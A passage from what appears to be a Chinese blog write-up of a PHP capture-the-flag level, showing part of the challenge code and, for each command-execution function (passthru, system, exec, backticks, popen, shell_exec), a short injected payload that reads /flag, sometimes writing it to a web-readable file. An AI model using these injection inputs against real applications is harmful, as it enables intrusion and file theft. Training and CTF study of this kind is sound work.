    if($act == "r"){ /* 通过发送GET ?action=r 的方式可以重置当前选中的函数 ------ 或者你可以自己想办法可控它x */
        session_unset();
        session_destroy(); 
    }

    if ($act == "submit"){
        $user_content = $_POST['content']; 
        hello_ctf($random_func, $user_content);
    }
}

isset($_GET['action']) ? start($_GET['action']) : '';

highlight_file(__FILE__);

?>

跟第二关差不多

passthru

content='cat /flag'

system

content='cat /flag'

exec

这个会执行但是不会回显,这里构造

content='cat /flag >a'

然后访问a就行了

执行运算符

就是反引号

content='cat /flag >a'

popen

popen() 函数执行系统命令,但返回一个资源类型的变量,需要配合 fread() 函数读取结果。构造起来比较抽象了

content='cat /flag','r'); handle = popen('cat /flag','r'); echo fread(handle, 100

shell_exec

content='cat /flag >a'

然后访问a就行了。

燃尽了,燃尽了这篇文章就到这把。

相关推荐
giaoho2 小时前
Android 系统架构
android·系统架构
m0_659394005 小时前
常见的cms框架的webshell方法
android
fatiaozhang95276 小时前
中兴云电脑W101D2-晶晨S905L3A-2G+8G-安卓9-线刷固件包
android·网络·电脑·电视盒子·刷机固件·机顶盒刷机
IT乐手7 小时前
java 或 安卓项目中耗时统计工具类
android·java
wang_hao..7 小时前
Day4.AndroidAudio初始化
android·音频
维尔切7 小时前
Linux中ssh远程登录原理与配置
android·linux·ssh
louisgeek9 小时前
Android Media3 PlayerView 监听 SurfaceTextureListener
android
广煜永不挂科9 小时前
Android Studio关于Connection refused: connect报错
android·ide·android studio
林林要一直努力9 小时前
Android Studio安装,SDK、Gradle、模拟器、AS路径改为非C盘(Windows为例)
android·ide·android studio
编程乐学9 小时前
网络资源模板--基于Android Studio 实现的课程管理App
android·android studio·大作业·移动端开发·安卓移动开发·课程管理